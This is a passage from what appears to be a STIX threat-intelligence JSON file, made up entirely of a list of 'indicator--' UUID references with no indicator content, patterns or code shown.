        "indicator--3fa467d0-6e96-4264-8007-e82f65e5fb46",
        "indicator--caf7d13b-6494-4970-bfab-b52cf3495528",
        "indicator--33e1390f-5284-47ac-96c5-f09eaaafeb0f",
        "indicator--7e33fd01-e9f6-4054-83a6-3f923d0c4554",
        "indicator--dfb3d5ce-652e-4aee-9368-323bb285ae5c",
        "indicator--31f6cc74-7025-4923-996f-240ea9f62730",
        "indicator--f8de0c47-0e31-4abf-8030-e9da7a256d41",
        "indicator--b849b536-90c8-414f-9e52-98cbf6e30876",
        "indicator--e0a05960-d559-4865-9d0b-e918b115ca7c",
        "indicator--abdc6644-7312-44c5-ae60-61fbeced0913",
        "indicator--3efdd102-3bcf-4bdc-b90c-9964b36a941c",
        "indicator--222cacec-5460-4110-94ed-9474fde15813",
        "indicator--bbc7188c-026e-469c-bc9d-84f01c90aa03",
        "indicator--1c6b8a56-a2fe-4c95-825a-415aa68d4a2b",
        "indicator--9f8354e9-4801-45c4-bfc4-cd3b931c8bd7",
        "indicator--53ffab43-b15d-49b3-b953-a67a9917651f",
        "indicator--bd5e304a-3df3-4f85-81f0-4a1387d5728d",
        "indicator--2dfa31d9-bf23-4231-901b-45d14ac4f49a",
        "indicator--5f2746a8-35e7-4253-90af-75bd44ef245a",
        "indicator--6262ffa5-7ff1-4cea-96af-cb82c9c4708d",
        "indicator--df876011-2fd6-4647-8702-f4f693a4675a",
        "indicator--0b97ec3b-9c72-4a38-b95c-33960a67b4b2",
        "indicator--bda46af8-3b58-4c84-a546-827fb541d791",
        "indicator--852a933c-e2e1-4089-abb6-ef612a8823af",
        "indicator--0d1d48ef-704c-4602-b96e-da0a75ac5123",
        "indicator--f9ba45e2-cb0e-4e2b-ad80-9488f9031044",
        "indicator--b340ea23-4ca9-4794-95f9-b589606a6f22",
        "indicator--6022c27b-7580-4f24-b8c0-20ae0514a8b5",
        "indicator--37b0f08b-6227-4ef6-bbaf-fb5397f9243b",
        "indicator--fc658df8-a2de-473a-8b0a-832a7aa30089",
        "indicator--126a8de6-4778-42f4-94ce-01652cf54672",
        "indicator--ed092e21-3fa1-4d05-81e5-6e3d85aef031",
        "indicator--ded53d57-1e56-49a7-a1cd-05b63942efe3",
        "indicator--52fbd3a4-3ec9-44a2-b89f-5abd11803811",
        "indicator--5333e110-0988-45eb-99f1-2a799f8360e0",
        "indicator--2e29adbe-0b00-4a70-b56e-19a91b9a4ad9",
        "indicator--11f191c6-4b58-4784-a548-4ec92ede0688",
        "indicator--1b6cec2e-d31c-4891-b27a-a48ed463d9ad",
        "indicator--0536dfd1-d5ac-4713-af8b-349f6683dc3a",
        "indicator--b257a76c-9bb6-4ce9-8314-6b159d9e7885",
        "indicator--6ec1d35c-9aac-4553-a81f-6c047f089f5d",
        "indicator--652a4021-8f5d-4cf7-9512-cbb9257d4c94",
        "indicator--f70f05c4-3d79-4f56-8533-bef8d8c97acb",
        "indicator--4ecac92e-8704-4e04-9860-b2ead25d15e5",
        "indicator--adead65b-5db3-43d9-81d6-0bc8f8e3389e",
        "indicator--e7e0a5f0-354e-424f-bc1b-df844a99be08",
        "indicator--0269f9ec-067a-48a9-81ad-66298b065327",
        "indicator--1bdf73ff-465c-42f0-bca4-0f1fae82724a",
        "indicator--cd1279ca-e20f-4dd8-8912-5595fa8f5888",
        "indicator--f01bc82b-d39a-4e2a-8eac-75e567f7b6d5",
        "indicator--1838074d-3c52-4538-a881-1cbb5ac3f799",
        "indicator--f226f7b7-8f1e-4616-a3d4-cad6167158c1",
        "indicator--2e6d4418-65f5-4c7d-bc53-04e43e36154d",
        "indicator--fb3c0628-da7e-4a14-ba24-b4f33ebbd407",
        "indicator--481bfa78-99f3-451f-884f-2cf429ffe1b3",
        "indicator--a26c4754-313c-4c0b-af0d-7158a579c3fa",
        "indicator--4df96763-9d8a-4c62-ad28-d9aa12669574",
        "indicator--49b6792a-21c4-456c-ac81-c4abb8e0a17b",
        "indicator--524ef36d-069e-4a6c-8fb2-26738d127677",
        "indicator--f10cbed5-d0ed-4ada-90a3-e8d99d3c5404",
        "indicator--eb000f9e-a2ca-4e55-b233-0fc4be3ef998",
        "indicator--0f6350d9-fc34-4aa1-aecb-b839cf248ddf",
        "indicator--5aeca6f1-1ec8-482c-8c37-fb3bd5f8b6da",
        "indicator--9ac1556d-8946-40bf-9ae7-6c78251b6c11",
        "indicator--a3179c57-dbb1-4eaa-8bae-bd8d2d7b3594",
        "indicator--e46ff1d7-78ed-474d-9600-533fda4bbc5d",
        "indicator--01a41ad2-62a5-41fd-919b-9c36ed1b574f",
        "indicator--68fcfb5c-2c96-4d16-8576-3771df84d6ed",
        "indicator--422ea8e0-abb3-4326-9e57-9e3101ecb89e",
        "indicator--5d0550e2-34cb-48c7-a403-598baee92723",
        "indicator--fb2f5d32-c357-40fe-932f-c7566bee8958",
        "indicator--2b3ee1ea-1255-4e1b-9737-901de3cf79f5",
        "indicator--74cb628a-e744-4759-a30b-46ec5fea02dc",
        "indicator--ec0fa1b8-637d-4e25-802e-b77c231c317f",
        "indicator--a9cf9e26-b6e1-4eee-b3fd-45f4d9c0a3fa",
        "indicator--8987f1f3-1f1f-408e-b480-ea603dc21f0c",
        "indicator--6061f11c-9ef0-48eb-a0cf-a5c348508f00",
        "indicator--2e9dad43-aa34-4e6d-8e8e-f14dd7d819f2",
        "indicator--e84336a7-d7de-475e-a566-d7f463f96c74",
        "indicator--166cdb64-6912-457b-bced-6f9a016dc017",
        "indicator--1bd05f44-5ed2-476b-8967-19e916063bd0",
        "indicator--d6cfaf95-98af-4e2d-848b-2aa609424164",
        "indicator--b0e6495e-e168-41fd-aaf2-9d4231051da7",
        "indicator--d8052ba1-dcf1-4688-9c1d-a0616478730f",
        "indicator--59e2ef64-3531-4fa5-949b-8566a9cfd551",
        "indicator--d0db22d7-c2bd-4d0c-9353-5fd5d97bcd10",
        "indicator--01ec0b55-0659-4bae-a0eb-1949a0fbad8c",
        "indicator--71c1adb5-ee69-4811-a0d4-37ab98407f7f",
        "indicator--672bce01-efdf-4281-9967-db292fff4c52",
        "indicator--cc0caa24-b34f-4de8-84e2-8b8a5b169f22",
        "indicator--0c790849-809d-4728-a68f-67a6cba0d7b4",
        "indicator--158679e5-5b15-4eae-b019-177f3b3d1b5e",
        "indicator--bf6c081f-87f8-4cfd-b603-9ce536e507d3",
        "indicator--f54fa3c9-ad34-4f03-b309-922d97f2ed69",
        "indicator--7e3fa205-1035-4692-a98c-f0f58a261023",
        "indicator--b03277f3-3dae-47bc-ac6d-318c113bc99c",
        "indicator--6c29fd1d-7bf6-48bf-84b6-6bec9a23f31e",
        "indicator--a76d7bd8-7163-4266-ba23-0cd45d086f7a",
        "indicator--47950095-a5a3-46cd-990a-c2798194f0d9",
        "indicator--dec2afad-9505-4289-9846-4a631795ca38",
        "indicator--f7855082-c626-40d5-b159-14afb60163b4",
        "indicator--a316d8bc-9dd3-4693-9851-f8bfb675ce6f",
        "indicator--b8b55970-d29b-416a-8487-c6477c2e78ac",
        "indicator--8623ead4-3e10-419a-bf67-e10f6939f81e",
        "indicator--e2eae64f-c348-45d1-bb67-caac395716aa",
        "indicator--dcb3ae66-6767-42de-8328-2da279118f82",
        "indicator--99c8c2db-1802-414a-8c7e-2c3c9e555381",
        "indicator--4108158e-9447-4204-82de-6d01a925d97f",
        "indicator--b2414573-ccbf-4ac9-9fd5-168ec5bf9c00",
        "indicator--a79afa70-9c89-45bc-8dba-6d6aeb9abca5",
        "indicator--f2bd5b5e-de1b-4b5c-8e50-4dea254361f8",
        "indicator--e597692c-48e7-4c65-9de6-7c7009d1c756",
        "indicator--56f35d01-177c-4203-9fce-c26a12bffe32",
        "indicator--35dd794f-fcf4-46d4-95fd-03c4b9f8b2e7",
        "indicator--a879945c-cf8a-4b97-b8fd-942b75ace6ef",
        "indicator--8a3dc798-33c4-4168-844f-d2a1425cfb1a",
        "indicator--90a68f4e-b438-4a86-9ab6-a4db902899e5",
        "indicator--a52f6228-f303-4d03-82e6-9a40b07bc809",
        "indicator--b8b6d667-a438-4372-9b97-1e298b3a152f",
        "indicator--bbaeded8-bd2f-445b-ba78-54f7d021eba8",
        "indicator--383d2f62-dd47-494d-9cdc-d02d55453413",
        "indicator--0831a1da-a979-4c23-ade5-e19feb21e75d",
        "indicator--ccbef89e-9188-4f98-9274-2fec75c57045",
        "indicator--d1525e13-2db8-44d6-892d-a334aec51898",
        "indicator--c27d6aed-2f7b-4c27-897a-06a1056e5900",
        "indicator--cf5e7398-7875-491e-8bde-388282111a4b",
        "indicator--2ed50bb5-fe67-4ab7-928d-d47ebee8e5e7",
        "indicator--aa968148-cf01-4075-820e-6c6c93382aab",
        "indicator--fbf59f30-d039-47d2-a3b2-d85639ec2d96",
        "indicator--4e245947-8b52-442e-92b0-fe3a2348e9cd",
        "indicator--e9297c02-a45b-4c2a-9ba6-642c98b2619d",
        "indicator--3b45d947-e880-46c5-a3eb-46ef63d6c25a",
        "indicator--54bb3d67-9876-4e86-ba6e-e8bb422a6917",
        "indicator--b3ca3330-ab65-4917-a211-d68843fad7ad",
        "indicator--16cfe92b-af7c-4f18-a911-a7818ecffc59",
        "indicator--b0a0ffef-8327-4d9f-a261-7186720b2854",
        "indicator--7e9d6d6b-9ebd-4ade-a6ee-0a2a2f189eae",
        "indicator--617bd56f-0502-4d52-bc0d-a1c2ac0bc0f1",
        "indicator--35591e3e-5b5b-405d-85f1-778f8193a324",
        "indicator--12e4476f-b705-479a-9095-33884df4a334",
        "indicator--86b85df7-c394-4622-bca6-f10fd5b7c907",
        "indicator--be8342ef-c81a-406d-aa9f-04257e899e26",
        "indicator--e05f9d6c-fbd7-47f3-b422-f5fd6f31a126",
        "indicator--92e24d6a-3c9d-4194-8580-05ffb3fa3673",
        "indicator--41e95606-1705-48a0-b28a-8826a2f7e338",
        "indicator--04cd1d30-4554-45e1-b54c-956e3352c05a",
        "indicator--768342f7-4639-4ef2-ba57-3f558f3e16d2",
        "indicator--0e208c27-1ca0-4abe-a9fe-c528bc8c33bd",
        "indicator--f5d1f390-960d-4fb2-9299-67cc1d15226b",
        "indicator--69ddf55a-edc0-446f-b17d-40c036f93922",
        "indicator--7c015bca-eaa0-4fba-ba29-e034d27d934f",
        "indicator--4b6b2b8a-0543-4675-9b09-ac4260350037",
        "indicator--5aeabe7c-9305-48b1-bcb6-c3f9762efa98",
        "indicator--f6212b30-c53c-4135-8a6e-b2d72b05f026",
        "indicator--c7b04387-e955-458c-8421-23e81a059b4a",
        "indicator--cc38327e-6aeb-4eed-bd86-0ea35410ed5b",
        "indicator--5a25ee54-95e3-47c2-bead-e574ce6b4be4",
        "indicator--04df7003-39cc-480b-9687-d44fe842c5c6",
        "indicator--91a0d99d-eab0-4a77-aab4-f9ad96d61fe5",
        "indicator--10c72c58-cbc4-419c-b2db-a15909ec18ee",
        "indicator--909243b5-f6be-4fd0-b568-2da93da0d6b6",
        "indicator--3b0013e5-8462-4a60-9189-ec35f2d58dca",
        "indicator--e4ea6833-a1c8-4dce-95ad-f74f351fbc29",
        "indicator--1ecb4c30-07d7-4efc-8f69-76ad4373cc86",
        "indicator--5ed7c2fe-5f6e-4280-b425-e70c9e134bb0",
        "indicator--a4556d76-548f-4c5f-9eed-92448f0a5fdc",
        "indicator--4335abc3-98f3-492b-9f35-19bb89313735",
        "indicator--fdc244f4-377a-4300-bb24-2df680a7ceca",
        "indicator--82e16c6d-3348-4562-be5c-dd23261efd58",
        "indicator--61a20719-b4dd-4841-9e5a-740ff8391179",
        "indicator--46f04cd7-e278-4c5f-8981-bc33756e7312",
        "indicator--01418139-b662-4e85-934f-89b8eeaf0e1c",
        "indicator--433c6bb2-c22f-4b06-a715-7e78d0cdd717",
        "indicator--e399d333-6598-4933-b341-5a4126f17160",
        "indicator--935a9a91-2fbd-4db0-9185-826cd29342e2",
        "indicator--594cc2ed-eeb5-4557-af64-49149f3635ad",
        "indicator--18695819-dde3-4956-b0dd-53e9f92b3da1",
        "indicator--880834e9-7107-455f-bc1e-035a79016967",
        "indicator--cbae37d7-b307-4b89-915d-b27d94cf34b1",
        "indicator--9a3bea61-2960-46c1-8f56-7ffd6ea3ecb3",
        "indicator--570858c2-df31-4b84-abb1-dcd2afbb5e65",
        "indicator--c842da96-ab42-494f-97db-0b46715a7e2f",
        "indicator--ea793af7-2a8b-46fd-be51-94dfe289fdcf",
        "indicator--25d422ca-f884-4c80-83e8-2e7b3ffc73e8",
        "indicator--83ce17e1-71b5-4e71-9189-5d5a4b8a4d3c",
        "indicator--0e1083d6-d439-42ec-975b-cbb22adcd22c",
        "indicator--020ae1ea-d2ef-423b-97f1-08c654f7df35",
        "indicator--ddbb105a-c904-47f8-9af1-f8fa6ea56f66",
        "indicator--1782b014-711b-4cef-8946-59ca573f50c9",
        "indicator--90b3a423-27d7-4dc1-82cf-6f214790eee6",
        "indicator--e4eb53a3-4db8-4e18-b509-ab7b84f21e89",
        "indicator--2dd13583-b77c-412a-a89e-acea7ac5d00f",
        "indicator--8f289135-f9d1-4b37-9544-360e714cf20c",
        "indicator--6e21bd1d-6bfe-485f-8daf-5246748dce0a",
        "indicator--d143affa-2396-420f-8762-084769f305cf",
        "indicator--3e15b2e9-ebc9-4829-8812-8b709677174c",
        "indicator--d27abd5f-59d4-4ab7-8129-e4e74f44a614",
        "indicator--4882ee36-d2cf-4bff-bdd9-e5f82ff26178",
        "indicator--8f445dc7-7aef-45ac-a830-f03b04f1c987",
        "indicator--1b271b06-38f9-4eb3-909c-e0899a9370f9",
        "indicator--71940f69-a223-4d62-b025-df85dc582ab1",
        "indicator--141346b3-f880-45b8-b953-e8ae98248db1",
        "indicator--7143b526-6bae-48c1-94d6-6f7276f2b934",
        "indicator--b0474f76-eb03-46c1-8f36-ef68c5667725",
        "indicator--0ea3cfb9-3562-4a69-bc36-879667255231",
        "indicator--c306f547-e516-4ae8-8ce5-746a2a732a36",
        "indicator--c9bb6f6f-c0e6-41bf-ba21-ff029ae1b682",
        "indicator--75e78167-af90-4c63-a17b-4fdfb433bc0e",
        "indicator--97c9e05d-30e3-446f-bdb8-db3baec64911",
        "indicator--0c876d27-6905-4150-a6cb-de0c94b420c0",
        "indicator--72e173bd-39ce-4cad-b41b-903050e1b3ca",
        "indicator--645530ed-4fe0-45a5-815d-e25907998d3d",
        "indicator--5a3bdd05-c701-45d6-a830-c4783b6434c4",
        "indicator--37d96e32-b58d-480e-bc10-f6120426bf23",
        "indicator--80548017-1fe8-4fd9-b95e-e13caa05ae7f",
        "indicator--f013f417-9e0a-42e1-8607-d08d6a892db8",
        "indicator--6d9aa3bb-48b2-4d30-8cd9-d483f6c43236",
        "indicator--8cbc6934-27aa-46ab-b3b3-d75accc9417e",
        "indicator--f076c0db-cc54-4533-bc98-43cadd988a0f",
        "indicator--d6455406-5a97-410d-af04-69a50955fda9",
        "indicator--9af89ec0-3cce-4daa-ad89-74c91cbec9fc",
        "indicator--5720bc59-118f-4c8a-ac6e-5ca2d993eae0",
        "indicator--b1c81180-b92c-44f0-9486-bb9086d2c088",
        "indicator--63ce6063-7a77-43f4-8ea9-9ac229669332",
        "indicator--950423b4-b825-44c9-a3e6-3bb8c62ec194",
        "indicator--8c4f239b-87c6-41ba-8bcc-0c4eeea303c8",
        "indicator--8be8908d-5a25-4f8b-a81e-2ea9cf8188cd",
        "indicator--46036f4c-1d8d-4df3-8455-689669046b46",
        "indicator--e3d2f6ae-38ed-4c98-a15f-75ddcfb2bffd",
        "indicator--f431fae8-5c4d-425c-a0de-26b98dc74389",
        "indicator--0e83de1c-70aa-43de-96ab-cdeadff91bc1",
        "indicator--931f1a0c-3cc4-478e-bd3a-abd5f1971d85",
        "indicator--bc7947fb-608e-4c9f-bfe7-2fac0d64ce86",
        "indicator--aaaeb2ad-9777-498a-a62f-a2813cf6027d",
        "indicator--c0fe0d15-26b2-483b-8c18-47fdf08d47db",
        "indicator--504c51de-989b-447a-aeb4-1032fb81f4c7",
        "indicator--9f8d9f5d-5ec5-4285-8e47-9dabea35bba6",
        "indicator--1704b92a-0dde-4a44-aa6c-1fbcd9bab44a",
        "indicator--1c2112ae-0446-409a-86b1-f7a8b661ce3d",
        "indicator--f1abcb60-d0e4-4226-9b22-2af0c5282a93",
        "indicator--5953d9b2-0738-4c1d-b1c7-6c3182e90fab",
        "indicator--3cdd51b1-f285-4923-8007-2eb0662e857b",
        "indicator--eafad93f-9ae0-47aa-ad71-fcb9ef4d3185",
        "indicator--56d2f21b-be32-4f5f-97cd-d3c2e0bf4b9c",
        "indicator--a4bd4f40-b733-4ad6-963b-b09d397f4222",
        "indicator--03ea3aaf-dd53-440e-b96c-34d1dfe3708a",
        "indicator--a3569dd6-b595-4fa8-8986-e0ddbbd6af04",
        "indicator--049244b7-ad81-433d-838e-45ee8f60a0be",
        "indicator--7653e659-0cf4-47b9-86c8-94e203720278",
        "indicator--5323a6fd-f1f4-43c9-a792-19fe3c7d1aad",
        "indicator--6e168316-2bed-49cb-8016-2ad5ecba3c81",
        "indicator--656a0887-e9be-426c-aefd-1fc05c3acf1c",
        "indicator--707a1037-14e0-4a7f-acb8-9163fe65336b",
        "indicator--a3afdb1b-dcde-4b53-b71d-dc2db2c85976",
        "indicator--20758ebc-f874-438c-90f2-c1fb7f06b5cc",
        "indicator--e6a8b274-9c7d-4829-930d-1ef620959cc3",
        "indicator--e5e33a1c-b2eb-44b1-8f0f-2922880f4935",
        "indicator--2505a098-300b-4d24-920a-048ca2c1439a",
        "indicator--d777b2bd-edf4-4a00-8d9b-3c9bd8a803ee",
        "indicator--865cad2e-843e-4616-a157-4b57815b688c",
        "indicator--a102b775-f368-4dec-9c30-666fe0f7e21d",
        "indicator--65d632b1-bc62-45bc-a519-da723a7ed41e",
        "indicator--21b06721-edea-43b7-a119-b90c3e55e23a",
        "indicator--76f4e764-2c8f-4df8-a6e0-37e5d1d1a463",
        "indicator--50817065-dda8-41f0-be84-79fb96ab73f6",
        "indicator--450745f4-d61b-4daa-8c22-4c4e8113ce7b",
        "indicator--a03e2386-e922-45c8-8c84-be21ef9ecaea",
        "indicator--01f8e55d-6083-4135-b774-7a657bb522c8",
        "indicator--885d037e-5d61-4712-ab4f-e108d0c792b8",
        "indicator--faccec54-c492-44f1-abfe-43ac813b5af4",
        "indicator--c7f7c6f8-72c4-4bc0-8150-a73ddc8a37c9",
        "indicator--003c61d1-edfe-4a9a-924b-7b0640fd5960",
        "indicator--cbdd658c-4af3-4320-b4e8-1f6da3fb6f26",
        "indicator--e2c2ad7b-ce96-4fb6-9cc9-22a974312272",
        "indicator--303f1f54-862d-47d6-bf67-9ed0e191e53e",
        "indicator--e76d5886-fa02-4500-9ec9-c9f7cba00558",
        "indicator--d08c77dc-9406-4158-bac3-103775ac2593",
        "indicator--02512c60-1a59-48ec-a6ee-8805c9ac639a",
        "indicator--724445c8-4f70-4cba-b1bb-d867c39478f1",
        "indicator--e299b081-f3ad-4150-a9a5-96d1cdbdf7db",
        "indicator--267bbacd-1def-4b4c-97c3-a5cce3fa4333",
        "indicator--6aca70a6-537f-45ae-a521-0bb2327c7072",
        "indicator--7fac5412-54cb-4fa1-95c7-bb34f932242c",
        "indicator--ffc18b92-c459-4ce8-a850-3a88677d294d",
        "indicator--a69f71a0-92b2-4edc-80a8-4046f98b6154",
        "indicator--4e1d77d3-9e12-4e04-a09e-de5b762fc955",
        "indicator--e6d3650c-049d-415d-b439-6dd04c9f5bc5",
        "indicator--f2411826-1302-4d6f-975a-2063662ca810",
        "indicator--9bc682cf-582e-472b-b32d-79bbc90b5f3c",
        "indicator--d84571fb-6186-4543-a9cb-91efadfdae57",
        "indicator--70b5e380-6a12-441f-bcef-039ad2e76598",
        "indicator--80098bae-a556-437c-98b0-da48557a1fe7",
        "indicator--43ef236b-c408-401f-9b18-6eed33f9039d",
        "indicator--446811b0-3a1c-4aa4-aa58-ae0c46878348",
        "indicator--093febd6-ab9b-4d2d-a253-84f10580b196",
        "indicator--86f47cde-70bd-4f58-b122-7aae24e6f8ae",
        "indicator--099589b0-6767-444a-9903-d1c8a581d412",
        "indicator--a736981c-fe49-437e-908b-f6c8ce94d760",
        "indicator--eb48b759-5057-40a6-8161-08a8a18e65ea",
        "indicator--53e158c7-d9cc-4631-a3f7-6af59a9c6e7d",
        "indicator--38ed8616-bce5-4c88-92ba-669d0c8e9f09",
        "indicator--20f98f03-9a36-4841-99ed-8911e9d4bfb3",
        "indicator--fe90ddca-e89a-4236-a756-56ae608ad3c4",
        "indicator--de0432da-f23c-4a9a-9644-a005d40c58cc",
        "indicator--c99c9602-7c41-4b67-8e40-0d34d76acac7",
        "indicator--1b6b38cc-14aa-421d-bfbd-8f415486d272",
        "indicator--c014b57e-ee28-4378-b2e4-9789a2a9336a",
        "indicator--73c38ef8-a0ee-42b2-9b74-652099a29cff",
        "indicator--91335c90-8837-4efd-834c-7ff008d9eb29",
        "indicator--7fa9f2ea-2f25-4b07-99f0-d4f35b968f7b",
        "indicator--b6ceaa0d-9d7a-45e3-8fa4-dba6f6b96dad",
        "indicator--d918fd06-08b0-4f99-a411-9f9161864fca",
        "indicator--56ed0736-ae12-4237-87b7-052e5fd5f04e",
        "indicator--a6ceba49-31cc-4839-8bba-ef8b2e5d1558",
        "indicator--74d0c31a-d33f-4675-98cc-15b2cf0c344d",
        "indicator--045f48dd-d07b-4e9e-b475-484052a7bec1",
        "indicator--9a565a3f-6fc0-4e2c-a45a-e77fc5af323a",
        "indicator--6239918c-9fd6-4454-9e30-e918f9ff51fa",
        "indicator--77740a7d-511d-4cf6-97fb-0461127c481d",
        "indicator--212b579e-0ad2-4e09-a7a3-6c94686096d6",
        "indicator--90265a92-f455-4360-807a-2a341bdfea6f",
        "indicator--cb8a2fa1-8845-4ddd-8a0a-05ed4724a736",
        "indicator--d5767a32-6cf6-450b-b5d1-9d83149a3ae3",
        "indicator--accd3492-2660-4c88-8dbf-b6f58c612e0b",
        "indicator--a7b55457-3db9-4200-b574-3c1bebbce673",
        "indicator--6565fa0a-9286-4f9b-8b23-e31c9679e4d4",
        "indicator--d77dfbe7-5360-4669-99e4-2037c5cdda48",
        "indicator--c234f85e-46ef-44cf-a26c-2aa7fce2348a",
        "indicator--39e9c0fc-47be-4c58-933d-05634edde2ae",
        "indicator--4640e168-d745-415f-9df4-89a4a193fdf8",
        "indicator--882c49f0-f53f-40c8-9e21-c17283db6a8f",
        "indicator--fc1af26b-c6d3-4f50-818e-3b8df28dd46c",
        "indicator--3794085c-318e-4beb-861d-3fc8aee32d5d",
        "indicator--580592fb-0407-4122-ab44-f948fecbeb2b",
        "indicator--d2e16dac-80f9-480d-9a1d-5971f541b041",
        "indicator--b3b07532-3c74-4858-96d5-c2a41e5c7595",
        "indicator--d68b9383-140f-4c56-8a63-04f73bf853fb",
        "indicator--5c7953fb-915b-4e16-b14b-a8345e9f7d9c",
        "indicator--425d0821-1c37-4cf2-b0af-c64f32e2b84c",
        "indicator--587e5129-7a53-47e3-9810-07a23d1351e6",
        "indicator--ec1ca9fe-0f4e-4552-b7aa-08eeecc9c77c",
        "indicator--f713498e-8005-42d7-acde-c816667a6e02",
        "indicator--d16fb0fe-45c9-42fb-aff7-f8e34999cf36",
        "indicator--7927f5e2-6e44-413e-8d2a-e6cc6250d638",
        "indicator--75528273-2f1e-4cf0-aeb5-f4ed0bee2955",
        "indicator--3e7110bc-2c90-41d5-b3eb-426e06ca6c3c",
        "indicator--d8641177-b2dc-46fd-b17a-2c09cf096a7d",
        "indicator--4d79e0d2-9078-428f-988c-6d9c25c6f403",
        "indicator--c6f1922e-48a1-4391-b5a1-cea7a923fdb5",
        "indicator--7fc71d57-ff2d-400b-abec-eac200e22293",
        "indicator--85a9d4b6-490b-40b2-9f0e-d9b7d0dd7567",
        "indicator--ed644318-03dd-4215-9b8e-4f3a105789ce",
        "indicator--3b463b8f-ad73-43af-8d94-81ca43896712",
        "indicator--7bdce5d3-86b5-4624-b932-3b50de42dc6f",
        "indicator--33e3bc7f-5900-4c6a-975d-0449530abacf",
        "indicator--1bdea807-95e5-4ece-a4c2-14e16993a56c",
        "indicator--61c8f64b-3211-4378-a345-f819d7d3ffc1",
        "indicator--0ee3425d-9441-4baa-9348-004a47363cd5",
        "indicator--c0c4fdab-f9e0-4fdf-98dd-d9b560504b36",
        "indicator--fed758bd-83c2-47bd-b7f0-5c8e92e8791c",
        "indicator--3695f610-009f-48e3-8e78-275bb2b64670",
        "indicator--47d189e9-e92d-4c4e-a46f-c8de7bc402a9",
        "indicator--11363fa7-e7ab-49e0-9210-0d9e7d472071",
        "indicator--7dc72e04-56c8-4cbe-a6fe-a51e7c3c6609",
        "indicator--180af423-d8c0-44eb-a302-7d87f761dc1f",
        "indicator--15987521-8fef-4f97-a3b0-a0302d387ef1",
        "indicator--32fa2dee-3898-4a34-b35c-c18392535aff",
        "indicator--2869b9e6-5c0d-4e83-9623-2328de32323a",
        "indicator--588f11ad-1b74-41a1-a33e-ad9499a086d6",
        "indicator--17888062-26b9-448d-9c8c-655276c2ae4c",
        "indicator--6b5c1e40-25d2-459e-ad3d-efdc94a446c8",
        "indicator--32f83c3e-4dd9-48cd-a4a5-f77e3d41bbb7",
        "indicator--dde1896c-a90b-421e-9af8-e84ed3a7db86",
        "indicator--cf405e76-891c-4808-8841-e34e91b1faeb",
        "indicator--3c323be3-a9b1-4766-b954-ac46f435d42f",
        "indicator--359057f5-d706-4676-ade9-513d749281fa",
        "indicator--b4669c72-2580-4b61-841e-f941ddb19659",
        "indicator--4c3cf648-1fd9-40e9-99c8-9a7d716899e5",
        "indicator--505d3a06-1640-4cb0-b92a-79b0ad657993",
        "indicator--f078b51b-b3e8-4501-80eb-392a421a27f1",
        "indicator--7866c056-483b-40ea-bed8-848fec666538",
        "indicator--159149cd-0f58-44c8-844f-885df2e3cb73",
        "indicator--b865b2b7-605d-4ba5-8117-d6a05ca6c1c7",
        "indicator--eb027438-7570-4cca-a7ef-f12f0cb013d3",
        "indicator--9d595d76-3842-4f66-a845-b380b5f892ba",
        "indicator--f212dc17-34c3-4ff2-a5fd-3e31adfa60ce",
        "indicator--01e34be6-680f-49fe-a424-497552404b71",
        "indicator--ab995444-8424-4e24-bd3f-445441b941a6",
        "indicator--d7fe5858-0f06-4004-9dbf-46816df9a73a",
        "indicator--b54f0482-f93b-4a55-9176-3ff0858913cf",
        "indicator--07187096-2dbc-419c-a8b1-36ffec4957a7",
        "indicator--01f69bc3-2600-4435-830d-f274f2dc0013",
        "indicator--db84cc8e-9cb8-4307-853f-e7ce562cbf7b",
        "indicator--e61539b9-cab6-4755-acb7-adbf2db69bd9",
        "indicator--277d4d81-fd19-4992-8d24-16f9cc7d8c00",
        "indicator--90096e1f-5928-421e-93f0-30a9b7b12429",
        "indicator--ce04c254-84db-4b5f-8cbe-8b16e991b52a",
        "indicator--7452e5a0-7186-4413-a0fb-cf31d7273fa9",
        "indicator--d6b1bebd-7a39-4646-80f7-31a69cbf3f12",
        "indicator--2e16ea45-432f-4a25-a1ba-89bc9c748a3a",
        "indicator--d680b1ad-5dd7-45f9-bb27-0a97567543c0",
        "indicator--82551158-ca92-40c8-9055-8465ccd78f94",
        "indicator--aa7515ee-e4af-45a1-962a-29a6849e2e16",
        "indicator--9da24f37-f632-4d88-a3bf-f0dfb7e87c4a",
        "indicator--33801725-33ee-4dd1-8b25-c06c82ab7b1a",
        "indicator--60cc7db0-69af-4b1f-9818-dee6ccbde781",
        "indicator--682b0d5e-1b1f-400d-afd4-1a30c4bdac31",
        "indicator--722b2dbf-03a6-4a84-ad64-768709cc44e6",
        "indicator--de5aafa5-2efd-4c91-81ab-0bd6e37946f7",
        "indicator--a5d08e90-0fce-476f-8024-4929b0adf5a1",
        "indicator--bc3378ed-e5cb-4791-8601-85bec4888970",
        "indicator--38a39ab7-ff4b-4458-bf51-6079bba3b605",
        "indicator--19808967-8e42-4d00-ab45-6cedc0adc70e",
        "indicator--efbd5aaa-7336-415c-b86f-b5e219e6a6c5",
        "indicator--213fed1f-a659-482b-a05a-5acb330c6f60",
        "indicator--639df339-b2d2-4fc2-9302-02104923c2d3",
        "indicator--e04afefa-0b40-4bd9-8689-cea54bd65481",
        "indicator--06ee1ab2-4bd0-4aa9-8663-9acde49a09b5",
        "indicator--f4e0db71-b50c-4489-9e68-cec0ca02dc40",
        "indicator--747cbfba-5c2d-4d47-b3f1-19d4948278ce",
        "indicator--b2e530ed-166b-4fdb-b2fa-ad2a56ca1207",
        "indicator--414b9f2d-fc41-4fb2-a132-9b1f76112bab",
        "indicator--6e81a387-e0d8-441d-8fc9-91fdd9c79c85",
        "indicator--d3af60f0-eb9f-4ca1-a61e-d61376429950",
        "indicator--d77f7f37-202b-4ef1-8c5b-be4e4a4f059b",
        "indicator--264f1018-f5f0-4b36-a63a-01b9a1935c8c",
        "indicator--5d110d3b-1fda-4769-9eb2-a607d2d4d746",
        "indicator--8bb2de16-3b31-4393-bc9a-4d4cdf21f83b",
        "indicator--c1a42e87-b619-4c49-be77-1a6bc152f98a",
        "indicator--fefc2c00-dbbf-451b-9ddf-b2b9a2b3d1be",
        "indicator--5c3b7ac3-4c8c-415a-8d96-7498c56a63db",
        "indicator--b750a04a-1466-4c6b-9724-bdcdaf767789",
        "indicator--80e912a4-dcce-4a42-b7a7-9846ab33b0b6",
        "indicator--207bd393-7696-431b-8695-5b636adf6c2d",
        "indicator--54709010-5270-45d1-881a-41a87ddc9a76",
        "indicator--7f20c108-d9e9-4d10-a164-a4a238fd2cf8",
        "indicator--d25b730a-0d57-4f40-a222-ac94db0ac58b",
        "indicator--d2400b1f-8073-4a06-bf9f-4162cfd9ef1c",
        "indicator--81be0f12-e2db-46fd-bb7a-90aa73056b3d",
